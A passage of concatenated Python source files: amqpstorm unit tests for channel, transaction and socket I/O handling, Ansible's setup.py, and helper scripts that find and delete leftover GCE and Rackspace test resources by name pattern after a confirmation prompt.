            results = []
            message = long_string[:index + 1]
            for frame in basic._create_content_body(message):
                results.append(frame)

            # Rebuild the string
            result_body = ''
            for frame in results:
                result_body += frame.value

            self.assertEqual(result_body, message)

    def test_basic_create_content_body_long_string(self):
        basic = Basic(None)

        message = b'Hello World!' * 80960
        results = []
        for frame in basic._create_content_body(message):
            results.append(frame)

        self.assertEqual(len(results), 8)

        # Rebuild the string
        result_body = b''
        for frame in results:
            result_body += frame.value

        # Confirm that it matches the original string.
        self.assertEqual(result_body, message)

    def test_basic_get_content_body(self):
        message = b'Hello World!'
        body = ContentBody(value=message)
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(Channel.OPEN)
        basic = Basic(channel)
        uuid = channel.rpc.register_request([body.name])
        channel.rpc.on_frame(body)

        self.assertEqual(basic._get_content_body(uuid, len(message)),
                         message)

    def test_basic_get_content_body_break_on_none_value(self):
        body = ContentBody(value=None)
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(Channel.OPEN)
        basic = Basic(channel)
        uuid = channel.rpc.register_request([body.name])
        channel.rpc.on_frame(body)

        self.assertEqual(basic._get_content_body(uuid, 10), b'')

    @unittest.skipIf(sys.version_info[0] == 2, 'No bytes decoding in Python 2')
    def test_basic_py3_utf_8_payload(self):
        message = 'Hellå World!'
        basic = Basic(None)
        payload = basic._handle_utf8_payload(message, {})

        self.assertEqual(payload, b'Hell\xc3\xa5 World!')

    @unittest.skipIf(sys.version_info[0] == 3, 'No unicode obj in Python 3')
    def test_basic_py2_utf_8_payload(self):
        message = u'Hellå World!'
        basic = Basic(None)
        properties = {}
        payload = basic._handle_utf8_payload(message, properties)

        self.assertEqual(payload, 'Hell\xc3\xa5 World!')

    def test_basic_content_not_in_properties(self):
        message = 'Hello World!'
        basic = Basic(None)
        properties = {}
        basic._handle_utf8_payload(message, properties)

        self.assertEqual(properties['content_encoding'], 'utf-8')

    def test_basic_consume_add_tag(self):
        tag = 'unittest'
        channel = Channel(0, None, 1)
        basic = Basic(channel)

        self.assertEqual(basic._consume_add_and_get_tag({'consumer_tag': tag}),
                         tag)
        self.assertEqual(channel.consumer_tags[0], tag)

    def test_basic_consume_rpc(self):
        tag = 'unittest'

        def on_publish_return_ack(_, frame):
            self.assertIsInstance(frame, spec_basic.Consume)
            self.assertEqual(frame.arguments, {})
            self.assertEqual(frame.consumer_tag, tag)
            self.assertEqual(frame.exclusive, True)
            self.assertEqual(frame.no_ack, True)
            self.assertEqual(frame.exclusive, True)
            self.assertEqual(frame.queue, '')
            channel.rpc.on_frame(spec_basic.ConsumeOk(tag))

        connection = FakeConnection(on_write=on_publish_return_ack)
        channel = Channel(9, connection, 1)
        channel.set_state(channel.OPEN)
        basic = Basic(channel)

        self.assertEqual(
            basic._consume_rpc_request({}, tag, True, True, True, ''),
            {'consumer_tag': 'unittest'})


class BasicExceptionTests(unittest.TestCase):
    def test_basic_qos_invalid_parameter(self):
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(Channel.OPEN)
        basic = Basic(channel)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'prefetch_count should be an integer',
                                basic.qos, 'unittest')

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'prefetch_size should be an integer',
                                basic.qos, 1, 'unittest')

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'global_ should be a boolean',
                                basic.qos, 1, 1, 'unittest')

    def test_basic_get_invalid_parameter(self):
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(Channel.OPEN)
        basic = Basic(channel)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'queue should be a string',
                                basic.get, None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'no_ack should be a boolean',
                                basic.get, '', 'unittest')

        channel.consumer_tags.append('unittest')

        self.assertRaisesRegexp(exception.AMQPChannelError,
                                "Cannot call 'get' when channel "
                                "is set to consume",
                                basic.get, '', True, 'unittest')

    def test_basic_recover_invalid_parameter(self):
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(Channel.OPEN)
        basic = Basic(channel)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'requeue should be a boolean',
                                basic.recover, None)

    def test_basic_consume_invalid_parameter(self):
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(Channel.OPEN)
        basic = Basic(channel)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'queue should be a string',
                                basic.consume, None, 1)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'consumer_tag should be a string',
                                basic.consume, None, '', 1)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'exclusive should be a boolean',
                                basic.consume, None, '', '', None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'no_ack should be a boolean',
                                basic.consume, None, '', '', True, None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'no_local should be a boolean',
                                basic.consume, None, '', '', True, True, None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'arguments should be a dict or None',
                                basic.consume, None, '', '', True, True, True,
                                [])

    def test_basic_cancel_invalid_parameter(self):
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(Channel.OPEN)
        basic = Basic(channel)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'consumer_tag should be a string',
                                basic.cancel, None)

    def test_basic_publish_invalid_parameter(self):
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(Channel.OPEN)
        basic = Basic(channel)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'body should be a string',
                                basic.publish, None, '')

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'routing_key should be a string',
                                basic.publish, '', None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'exchange should be a string',
                                basic.publish, '', '', None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'properties should be a dict or None',
                                basic.publish, '', '', '', [])

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'properties should be a dict or None',
                                basic.publish, '', '', '', 1)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'mandatory should be a boolean',
                                basic.publish, '', '', '', {}, None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'immediate should be a boolean',
                                basic.publish, '', '', '', {}, True, None)

    def test_basic_ack_invalid_parameter(self):
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(Channel.OPEN)
        basic = Basic(channel)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'delivery_tag should be an integer or None',
                                basic.ack, 'unittest')

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'multiple should be a boolean',
                                basic.ack, 1, None)

    def test_basic_nack_invalid_parameter(self):
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(Channel.OPEN)
        basic = Basic(channel)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'delivery_tag should be an integer or None',
                                basic.nack, 'unittest')

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'multiple should be a boolean',
                                basic.nack, 1, None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'requeue should be a boolean',
                                basic.nack, 1, True, None)

    def test_basic_reject_invalid_parameter(self):
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(Channel.OPEN)
        basic = Basic(channel)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'delivery_tag should be an integer or None',
                                basic.reject, 'unittest')

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'requeue should be a boolean',
                                basic.reject, 1, None)

    def test_basic_get_content_body_timeout_error(self):
        message = b'Hello World!'
        body = ContentBody(value=message)
        channel = Channel(0, FakeConnection(), 0.0001)
        channel.set_state(Channel.OPEN)
        basic = Basic(channel)
        uuid = channel.rpc.register_request([body.name])

        self.assertRaises(exception.AMQPChannelError, basic._get_content_body,
                          uuid, len(message))

    def test_basic_publish_confirms_raises_on_timeout(self):
        message = str(uuid.uuid4())

        connection = FakeConnection()
        channel = Channel(9, connection, 0.01)
        channel.confirming_deliveries = True
        channel.set_state(Channel.OPEN)
        basic = Basic(channel)

        self.assertRaisesRegexp(exception.AMQPChannelError,
                                "rpc requests",
                                basic.publish, body=message,
                                routing_key='unittest')

    def test_basic_publish_confirms_raises_on_invalid_frame(self):
        message = str(uuid.uuid4())

        def on_publish_return_invalid_frame(*_):
            channel.rpc.on_frame(spec_basic.Cancel())

        connection = FakeConnection(on_write=on_publish_return_invalid_frame)
        channel = Channel(9, connection, 0.01)
        channel.confirming_deliveries = True
        channel.set_state(Channel.OPEN)
        basic = Basic(channel)

        self.assertRaisesRegexp(exception.AMQPChannelError,
                                "rpc requests",
                                basic.publish, body=message,
                                routing_key='unittest')






import logging

try:
    import unittest2 as unittest
except ImportError:
    import unittest

from pamqp import specification as pamqp_spec

from amqpstorm.tx import Tx
from amqpstorm.channel import Channel

from amqpstorm.tests.utility import FakeConnection
from amqpstorm.tests.utility import MockLoggingHandler

logging.basicConfig(level=logging.DEBUG)


class TxTests(unittest.TestCase):
    def setUp(self):
        self.logging_handler = MockLoggingHandler()
        logging.root.addHandler(self.logging_handler)

    def test_tx_select(self):
        def on_tx_select(*_):
            channel.rpc.on_frame(pamqp_spec.Tx.SelectOk())

        connection = FakeConnection(on_write=on_tx_select)
        channel = Channel(0, connection, 0.1)
        channel.set_state(Channel.OPEN)
        tx = Tx(channel)

        self.assertIsInstance(tx.select(), dict)
        self.assertTrue(tx._tx_active)

    def test_tx_commit(self):
        def on_tx_commit(*_):
            channel.rpc.on_frame(pamqp_spec.Tx.CommitOk())

        connection = FakeConnection(on_write=on_tx_commit)
        channel = Channel(0, connection, 0.1)
        channel.set_state(Channel.OPEN)
        tx = Tx(channel)

        self.assertIsInstance(tx.commit(), dict)
        self.assertFalse(tx._tx_active)

    def test_tx_rollback(self):
        def on_tx_rollback(*_):
            channel.rpc.on_frame(pamqp_spec.Tx.RollbackOk())

        connection = FakeConnection(on_write=on_tx_rollback)
        channel = Channel(0, connection, 0.1)
        channel.set_state(Channel.OPEN)
        tx = Tx(channel)

        self.assertIsInstance(tx.rollback(), dict)
        self.assertFalse(tx._tx_active)

    def test_tx_with_statement(self):
        self._active_transaction = False

        def on_tx(*_):
            if not self._active_transaction:
                channel.rpc.on_frame(pamqp_spec.Tx.SelectOk())
                self._active_transaction = True
                return
            self._active_transaction = False
            channel.rpc.on_frame(pamqp_spec.Tx.CommitOk())

        connection = FakeConnection(on_write=on_tx)
        channel = Channel(0, connection, 0.1)
        channel.set_state(Channel.OPEN)
        tx = Tx(channel)

        with tx:
            self.assertTrue(tx._tx_active)
        self.assertFalse(tx._tx_active)

    def test_tx_with_statement_when_failing(self):
        self._active_transaction = False

        def on_tx(*_):
            if not self._active_transaction:
                channel.rpc.on_frame(pamqp_spec.Tx.SelectOk())
                self._active_transaction = True
                return
            self._active_transaction = False
            channel.rpc.on_frame(pamqp_spec.Tx.RollbackOk())

        connection = FakeConnection(on_write=on_tx)
        channel = Channel(0, connection, 0.1)
        channel.set_state(Channel.OPEN)
        tx = Tx(channel)

        try:
            with tx:
                self.assertTrue(tx._tx_active)
                raise Exception('error')
        except Exception as why:
            self.assertEqual('error', str(why))

        self.assertFalse(tx._tx_active)
        self.assertEqual(self.logging_handler.messages['warning'][0],
                         'Leaving Transaction on exception: error')






import logging
import select
import socket
import ssl
from errno import EINTR
from errno import EWOULDBLOCK

from mock import MagicMock

try:
    import unittest2 as unittest
except ImportError:
    import unittest

import amqpstorm.io
from amqpstorm.io import IO
from amqpstorm.io import Poller
from amqpstorm.exception import *
from amqpstorm import compatibility

from amqpstorm.tests.utility import FakeConnection

logging.basicConfig(level=logging.DEBUG)


class IOTests(unittest.TestCase):
    def test_io_socket_close(self):
        connection = FakeConnection()
        io = IO(connection.parameters)
        io.socket = MagicMock(name='socket', spec=socket.socket)
        io.close()

        self.assertIsNone(io.socket)

    def test_io_use_ssl_false(self):
        connection = FakeConnection()
        io = IO(connection.parameters)

        self.assertFalse(io.use_ssl)

    def test_io_use_ssl_true(self):
        connection = FakeConnection()
        connection.parameters['ssl'] = True
        io = IO(connection.parameters)

        self.assertTrue(io.use_ssl)

    def test_io_create_socket(self):
        connection = FakeConnection()
        io = IO(connection.parameters)

        self.assertFalse(io.use_ssl)

        addresses = io._get_socket_addresses()
        sock_address_tuple = addresses[0]
        sock = io._create_socket(socket_family=sock_address_tuple[0])

        if hasattr(socket, 'socket'):
            self.assertIsInstance(sock, socket.socket)

    def test_io_create_ssl_socket(self):
        connection = FakeConnection()
        connection.parameters['ssl'] = True
        io = IO(connection.parameters)

        self.assertTrue(io.use_ssl)

        addresses = io._get_socket_addresses()
        sock_address_tuple = addresses[0]
        sock = io._create_socket(socket_family=sock_address_tuple[0])

        if hasattr(socket, 'socket'):
            self.assertIsInstance(sock, socket.socket)
        if hasattr(ssl, 'SSLSocket'):
            self.assertIsInstance(sock, ssl.SSLSocket)
        self.assertTrue(connection.parameters['ssl_options']['ssl_version'])

    def test_io_get_socket_address(self):
        connection = FakeConnection()
        connection.parameters['hostname'] = '127.0.0.1'
        connection.parameters['port'] = 5672
        io = IO(connection.parameters)
        addresses = io._get_socket_addresses()
        sock_address_tuple = addresses[0]

        self.assertEqual(sock_address_tuple[4],
                         ('127.0.0.1', 5672))

    def test_io_simple_receive(self):
        connection = FakeConnection()
        io = IO(connection.parameters)

        self.assertFalse(io.use_ssl)

        io.socket = MagicMock(name='socket', spec=socket.socket)
        io.socket.recv.return_value = '12345'

        self.assertEqual(io._receive(), '12345')

    def test_io_simple_ssl_receive(self):
        connection = FakeConnection()
        connection.parameters['ssl'] = True
        io = IO(connection.parameters)

        self.assertTrue(io.use_ssl)

        if hasattr(ssl, 'SSLObject'):
            io.socket = MagicMock(name='socket', spec=ssl.SSLObject)
        elif hasattr(ssl, 'SSLSocket'):
            io.socket = MagicMock(name='socket', spec=ssl.SSLSocket)

        io.socket.read.return_value = '12345'

        self.assertEqual(io._receive(), '12345')

    def test_io_simple_send_zero_bytes_sent(self):
        connection = FakeConnection()

        io = IO(connection.parameters)
        io._exceptions = []
        io.socket = MagicMock(name='socket', spec=socket.socket)
        io.poller = MagicMock(name='poller', spec=amqpstorm.io.Poller)
        io.socket.send.return_value = 0
        io.write_to_socket('afasffa')

        self.assertIsInstance(io._exceptions[0], AMQPConnectionError)

    def test_io_sets_default_ssl_version(self):
        connection = FakeConnection()
        connection.parameters['ssl_options'] = {}

        sock = MagicMock(name='socket', spec=socket.socket)
        sock.fileno.return_value = 1

        io = IO(connection.parameters)
        self.assertRaises(Exception, io._ssl_wrap_socket, sock)
        self.assertEqual(connection.parameters['ssl_options']['ssl_version'],
                         compatibility.DEFAULT_SSL_VERSION)

    def test_io_has_ipv6(self):
        restore_func = socket.getaddrinfo

        def mock_getaddrinfo(hostname, port, family):
            return [hostname, port, family]

        try:
            amqpstorm.io.socket.getaddrinfo = mock_getaddrinfo
            connection = FakeConnection()
            connection.parameters['hostname'] = 'localhost'
            connection.parameters['port'] = 1234
            parameters = connection.parameters
            io = IO(parameters)

            result = io._get_socket_addresses()
            self.assertEqual(result[2], socket.AF_UNSPEC)
        finally:
            amqpstorm.io.socket.getaddrinfo = restore_func

    def test_io_has_ipv6_is_false(self):
        restore_func = socket.getaddrinfo
        restore_has_ipv6 = amqpstorm.io.socket.has_ipv6

        def mock_getaddrinfo(hostname, port, family):
            return [hostname, port, family]

        try:
            amqpstorm.io.socket.getaddrinfo = mock_getaddrinfo
            amqpstorm.io.socket.has_ipv6 = False
            connection = FakeConnection()
            connection.parameters['hostname'] = 'localhost'
            connection.parameters['port'] = 1234
            parameters = connection.parameters
            io = IO(parameters)

            result = io._get_socket_addresses()
            self.assertEqual(result[2], socket.AF_INET)
        finally:
            amqpstorm.io.socket.getaddrinfo = restore_func
            amqpstorm.io.socket.has_ipv6 = restore_has_ipv6


class IOExceptionTests(unittest.TestCase):
    def test_io_receive_raises_socket_error(self):
        connection = FakeConnection()

        io = IO(connection.parameters)
        io._exceptions = []
        io.socket = MagicMock(name='socket', spec=socket.socket)
        io.socket.recv.side_effect = socket.error('error')
        io._receive()

        self.assertIsInstance(io._exceptions[0], AMQPConnectionError)

    def test_io_receive_raises_socket_timeout(self):
        connection = FakeConnection()
        io = IO(connection.parameters)
        io.socket = MagicMock(name='socket', spec=socket.socket)
        io.socket.recv.side_effect = socket.timeout('timeout')
        io._receive()

    def test_io_simple_send_with_error(self):
        connection = FakeConnection()

        io = IO(connection.parameters)
        io._exceptions = []
        io.socket = MagicMock(name='socket', spec=socket.socket)
        io.poller = MagicMock(name='poller', spec=amqpstorm.io.Poller)
        io.socket.send.side_effect = socket.error('error')
        io.write_to_socket('12345')

        self.assertIsInstance(io._exceptions[0], AMQPConnectionError)

    def test_io_simple_send_with_recoverable_error(self):
        connection = FakeConnection()
        self.raised = False

        def custom_raise(*args, **kwargs):
            if self.raised:
                return 1
            self.raised = True
            raise socket.error(EWOULDBLOCK)

        io = IO(connection.parameters)
        io._exceptions = []
        io.socket = MagicMock(name='socket', spec=socket.socket)
        io.poller = MagicMock(name='poller', spec=amqpstorm.io.Poller)
        io.socket.send.side_effect = custom_raise
        io.write_to_socket('12345')

        self.assertTrue(self.raised)
        self.assertFalse(io._exceptions)

    def test_io_simple_send_with_timeout_error(self):
        connection = FakeConnection()
        self.raised = False

        def custom_raise(*args, **kwargs):
            if self.raised:
                return 1
            self.raised = True
            raise socket.timeout()

        io = IO(connection.parameters)
        io._exceptions = []
        io.socket = MagicMock(name='socket', spec=socket.socket)
        io.poller = MagicMock(name='poller', spec=amqpstorm.io.Poller)
        io.socket.send.side_effect = custom_raise
        io.write_to_socket('12345')

        self.assertTrue(self.raised)
        self.assertFalse(io._exceptions)

    def test_io_simple_send_with_io_error(self):
        connection = FakeConnection()

        io = IO(connection.parameters)
        io._exceptions = []
        io.socket = None
        io.write_to_socket('12345')

        self.assertTrue(io._exceptions)

    def test_io_ssl_connection_without_ssl_library(self):
        compatibility.SSL_SUPPORTED = False
        try:
            connection = FakeConnection()
            connection.parameters['hostname'] = 'localhost'
            connection.parameters['port'] = 1234
            parameters = connection.parameters
            parameters['ssl'] = True
            io = IO(parameters)
            self.assertRaisesRegexp(AMQPConnectionError,
                                    'Python not compiled with '
                                    'support for TLSv1 or higher',
                                    io.open)
        finally:
            compatibility.SSL_SUPPORTED = True

    def test_io_normal_connection_without_ssl_library(self):
        compatibility.SSL_SUPPORTED = False
        try:
            connection = FakeConnection()
            connection.parameters['hostname'] = 'localhost'
            connection.parameters['port'] = 1234
            parameters = connection.parameters
            io = IO(parameters)
            self.assertRaisesRegexp(AMQPConnectionError,
                                    'Could not connect to localhost:1234',
                                    io.open)
        finally:
            compatibility.SSL_SUPPORTED = True

    def test_io_raises_gaierror(self):
        restore_func = socket.getaddrinfo

        def mock_getaddrinfo(*_):
            raise socket.gaierror('Could not connect to localhost:1234')

        try:
            amqpstorm.io.socket.getaddrinfo = mock_getaddrinfo
            connection = FakeConnection()
            connection.parameters['hostname'] = 'localhost'
            connection.parameters['port'] = 1234
            parameters = connection.parameters
            io = IO(parameters)
            self.assertRaisesRegexp(AMQPConnectionError,
                                    'Could not connect to localhost:1234',
                                    io._get_socket_addresses)
        finally:
            amqpstorm.io.socket.getaddrinfo = restore_func

    def test_io_poller_raises(self):
        exceptions = []
        restore_func = select.select

        def mock_select(*_):
            raise select.error('unittest')

        try:
            amqpstorm.io.select.select = mock_select
            poller = Poller(0, exceptions, 30)
            self.assertFalse(poller.is_ready)
            self.assertTrue(exceptions)
        finally:
            amqpstorm.io.select.select = restore_func

    def test_io_poller_eintr(self):
        exceptions = []
        restore_func = select.select

        def mock_select(*_):
            raise select.error(EINTR)

        try:
            amqpstorm.io.select.select = mock_select
            poller = Poller(0, exceptions, 30)
            self.assertFalse(poller.is_ready)
            self.assertFalse(exceptions)
        finally:
            amqpstorm.io.select.select = restore_func






#!/usr/bin/env python

import os
import sys

sys.path.insert(0, os.path.abspath('lib'))
from ansible.release import __version__, __author__
try:
    from setuptools import setup, find_packages
except ImportError:
    print("Ansible now needs setuptools in order to build. Install it using"
            " your package manager (usually python-setuptools) or via pip (pip"
            " install setuptools).")
    sys.exit(1)

setup(name='ansible',
      version=__version__,
      description='Radically simple IT automation',
      author=__author__,
      author_email='support@ansible.com',
      url='http://ansible.com/',
      license='GPLv3',
      # Ansible will also make use of a system copy of python-six if installed but use a
      # Bundled copy if it's not.
      install_requires=['paramiko', 'jinja2', "PyYAML", 'setuptools', 'pycrypto >= 2.6'],
      package_dir={ '': 'lib' },
      packages=find_packages('lib'),
      package_data={
         '': ['module_utils/*.ps1', 'modules/core/windows/*.ps1', 'modules/extras/windows/*.ps1', 'galaxy/data/*'],
      },
      classifiers=[
          'Development Status :: 5 - Production/Stable',
          'Environment :: Console',
          'Intended Audience :: Developers',
          'Intended Audience :: Information Technology',
          'Intended Audience :: System Administrators',
          'License :: OSI Approved :: GNU General Public License v3 or later (GPLv3+)',
          'Natural Language :: English',
          'Operating System :: POSIX',
          'Programming Language :: Python :: 2.6',
          'Programming Language :: Python :: 2.7',
          'Topic :: System :: Installation/Setup',
          'Topic :: System :: Systems Administration',
          'Topic :: Utilities',
      ],
      scripts=[
         'bin/ansible',
         'bin/ansible-playbook',
         'bin/ansible-pull',
         'bin/ansible-doc',
         'bin/ansible-galaxy',
         'bin/ansible-console',
         'bin/ansible-vault',
      ],
      data_files=[],
)






import collections
import os
import yaml

try:
    from libcloud.compute.types import Provider
    from libcloud.compute.providers import get_driver
    _ = Provider.GCE
except ImportError:
    print("failed=True " + \
        "msg='libcloud with GCE support (0.13.3+) required for this module'")
    sys.exit(1)


def add_credentials_options(parser):
    default_service_account_email=None
    default_pem_file=None
    default_project_id=None

    # Load details from credentials.yml
    if os.path.isfile('credentials.yml'):
        credentials = yaml.load(open('credentials.yml', 'r'))
        default_service_account_email = credentials['gce_service_account_email']
        default_pem_file = credentials['gce_pem_file']
        default_project_id = credentials['gce_project_id']

    parser.add_option("--service_account_email",
        action="store", dest="service_account_email",
        default=default_service_account_email,
        help="GCE service account email. Default is loaded from credentials.yml.")
    parser.add_option("--pem_file",
        action="store", dest="pem_file",
        default=default_pem_file,
        help="GCE client key. Default is loaded from credentials.yml.")
    parser.add_option("--project_id",
        action="store", dest="project_id",
        default=default_project_id,
        help="Google Cloud project ID. Default is loaded from credentials.yml.")


def check_required(opts, parser):
    for required in ['service_account_email', 'pem_file', 'project_id']:
        if getattr(opts, required) is None:
            parser.error("Missing required parameter: --%s" % required)


def get_gce_driver(opts):
    # Connect to GCE
    gce_cls = get_driver(Provider.GCE)
    return gce_cls(
        opts.service_account_email, opts.pem_file, project=opts.project_id)













'''
Find and delete GCE resources matching the provided --match string.  Unless
--yes|-y is provided, the prompt for confirmation prior to deleting resources.
Please use caution, you can easily delete your *ENTIRE* GCE infrastructure.
'''

import os
import re
import sys
import optparse
import yaml

try:
    from libcloud.compute.types import Provider
    from libcloud.compute.providers import get_driver
    from libcloud.common.google import GoogleBaseError, QuotaExceededError, \
            ResourceExistsError, ResourceInUseError, ResourceNotFoundError
    _ = Provider.GCE
except ImportError:
    print("failed=True " + \
        "msg='libcloud with GCE support (0.13.3+) required for this module'")
    sys.exit(1)

import gce_credentials


def delete_gce_resources(get_func, attr, opts):
    for item in get_func():
        val = getattr(item, attr)
        if re.search(opts.match_re, val, re.IGNORECASE):
            prompt_and_delete(item, "Delete matching %s? [y/n]: " % (item,), opts.assumeyes)

def prompt_and_delete(item, prompt, assumeyes):
    if not assumeyes:
        assumeyes = raw_input(prompt).lower() == 'y'
    assert hasattr(item, 'destroy'), "Class <%s> has no delete attribute" % item.__class__
    if assumeyes:
        item.destroy()
        print ("Deleted %s" % item)

def parse_args():
    parser = optparse.OptionParser(usage="%s [options]" % (sys.argv[0],),
                description=__doc__)
    gce_credentials.add_credentials_options(parser)
    parser.add_option("--yes", "-y",
        action="store_true", dest="assumeyes",
        default=False,
        help="Don't prompt for confirmation")
    parser.add_option("--match",
        action="store", dest="match_re",
        default="^ansible-testing-",
        help="Regular expression used to find GCE resources (default: %default)")

    (opts, args) = parser.parse_args()
    gce_credentials.check_required(opts, parser)
    return (opts, args)

if __name__ == '__main__':

    (opts, args) = parse_args()

    # Connect to GCE
    gce = gce_credentials.get_gce_driver(opts)

    try:
      # Delete matching instances
      delete_gce_resources(gce.list_nodes, 'name', opts)
      # Delete matching snapshots
      def get_snapshots():
        for volume in gce.list_volumes():
          for snapshot in gce.list_volume_snapshots(volume):
            yield snapshot
      delete_gce_resources(get_snapshots, 'name', opts)
      # Delete matching disks
      delete_gce_resources(gce.list_volumes, 'name', opts)
    except KeyboardInterrupt as e:
        print("\nExiting on user command.")






#!/usr/bin/env python

import os
import re
import yaml
import argparse

try:
    import pyrax
    HAS_PYRAX = True
except ImportError:
    HAS_PYRAX = False


def rax_list_iterator(svc, *args, **kwargs):
    method = kwargs.pop('method', 'list')
    items = getattr(svc, method)(*args, **kwargs)
    while items:
        retrieved = getattr(svc, method)(*args, marker=items[-1].id, **kwargs)
        if items and retrieved and items[-1].id == retrieved[0].id:
            del items[-1]
        items.extend(retrieved)
        if len(retrieved) < 2:
            break
    return items


def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument('-y', '--yes', action='store_true', dest='assumeyes',
                        default=False, help="Don't prompt for confirmation")
    parser.add_argument('--match', dest='match_re',
                        default='^ansible-testing',
                        help='Regular expression used to find resources '
                             '(default: %(default)s)')

    return parser.parse_args()


def authenticate():
    try:
        with open(os.path.realpath('./credentials.yml')) as f:
            credentials = yaml.load(f)
    except Exception as e:
        raise SystemExit(e)

    try:
        pyrax.set_credentials(credentials.get('rackspace_username'),
                              credentials.get('rackspace_api_key'))
    except Exception as e:
        raise SystemExit(e)


def prompt_and_delete(item, prompt, assumeyes):
    if not assumeyes:
        assumeyes = raw_input(prompt).lower() == 'y'
    assert hasattr(item, 'delete') or hasattr(item, 'terminate'), \
            "Class <%s> has no delete or terminate attribute" % item.__class__
    if assumeyes:
        if hasattr(item, 'delete'):
            item.delete()
            print ("Deleted %s" % item)
        if hasattr(item, 'terminate'):
            item.terminate()
            print ("Terminated %s" % item)


def delete_rax(args):
    """Function for deleting CloudServers"""
    print ("--- Cleaning CloudServers matching '%s'" % args.match_re)
    search_opts = dict(name='^%s' % args.match_re)
    for region in pyrax.identity.services.compute.regions:
        cs = pyrax.connect_to_cloudservers(region=region)
        servers = rax_list_iterator(cs.servers, search_opts=search_opts)
        for server in servers:
            prompt_and_delete(server,
                              'Delete matching %s? [y/n]: ' % server,
                              args.assumeyes)


def delete_rax_clb(args):
    """Function for deleting Cloud Load Balancers"""
    print ("--- Cleaning Cloud Load Balancers matching '%s'" % args.match_re)
    for region in pyrax.identity.services.load_balancer.regions:
        clb = pyrax.connect_to_cloud_loadbalancers(region=region)
        for lb in rax_list_iterator(clb):
            if re.search(args.match_re, lb.name):
                prompt_and_delete(lb,
                                  'Delete matching %s? [y/n]: ' % lb,
                                  args.assumeyes)


def delete_rax_keypair(args):
    """Function for deleting Rackspace Key pairs"""
    print ("--- Cleaning Key Pairs matching '%s'" % args.match_re)
    for region in pyrax.identity.services.compute.regions:
        cs = pyrax.connect_to_cloudservers(region=region)
        for keypair in cs.keypairs.list():
            if re.search(args.match_re, keypair.name):
                prompt_and_delete(keypair,
                                  'Delete matching %s? [y/n]: ' % keypair,
                                  args.assumeyes)


def delete_rax_network(args):
    """Function for deleting Cloud Networks"""
    print ("--- Cleaning Cloud Networks matching '%s'" % args.match_re)
    for region in pyrax.identity.services.network.regions:
        cnw = pyrax.connect_to_cloud_networks(region=region)
        for network in cnw.list():
            if re.search(args.match_re, network.name):
                prompt_and_delete(network,
                                  'Delete matching %s? [y/n]: ' % network,
                                  args.assumeyes)


def delete_rax_cbs(args):
    """Function for deleting Cloud Networks"""
    print ("--- Cleaning Cloud Block Storage matching '%s'" % args.match_re)
    for region in pyrax.identity.services.network.regions:
        cbs = pyrax.connect_to_cloud_blockstorage(region=region)
        for volume in cbs.list():
            if re.search(args.match_re, volume.name):
                prompt_and_delete(volume,
                                  'Delete matching %s? [y/n]: ' % volume,
                                  args.assumeyes)


def delete_rax_cdb(args):
    """Function for deleting Cloud Databases"""
    print ("--- Cleaning Cloud Databases matching '%s'" % args.match_re)
    for region in pyrax.identity.services.database.regions:
        cdb = pyrax.connect_to_cloud_databases(region=region)
        for db in rax_list_iterator(cdb):
            if re.search(args.match_re, db.name):
                prompt_and_delete(db,
                                  'Delete matching %s? [y/n]: ' % db,
                                  args.assumeyes)


def _force_delete_rax_scaling_group(manager):
    def wrapped(uri):
        manager.api.method_delete('%s?force=true' % uri)
    return wrapped


def delete_rax_scaling_group(args):
    """Function for deleting Autoscale Groups"""
    print ("--- Cleaning Autoscale Groups matching '%s'" % args.match_re)
    for region in pyrax.identity.services.autoscale.regions:
        asg = pyrax.connect_to_autoscale(region=region)
        for group in rax_list_iterator(asg):
            if re.search(args.match_re, group.name):
                group.manager._delete = \
                    _force_delete_rax_scaling_group(group.manager)
                prompt_and_delete(group,
                                  'Delete matching %s? [y/n]: ' % group,
                                  args.assumeyes)


def main():
    if not HAS_PYRAX:
        raise SystemExit('The pyrax python module is required for this script')

    args = parse_args()
    authenticate()

    funcs = [f for n, f in globals().items() if n.startswith('delete_rax')]
    for func in sorted(funcs, key=lambda f: f.__name__):
        try:
            func(args)
        except Exception as e:
            print ("---- %s failed (%s)" % (func.__name__, e.message))


if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        print ('\nExiting...')






'''
Find and delete AWS resources matching the provided --match string.  Unless
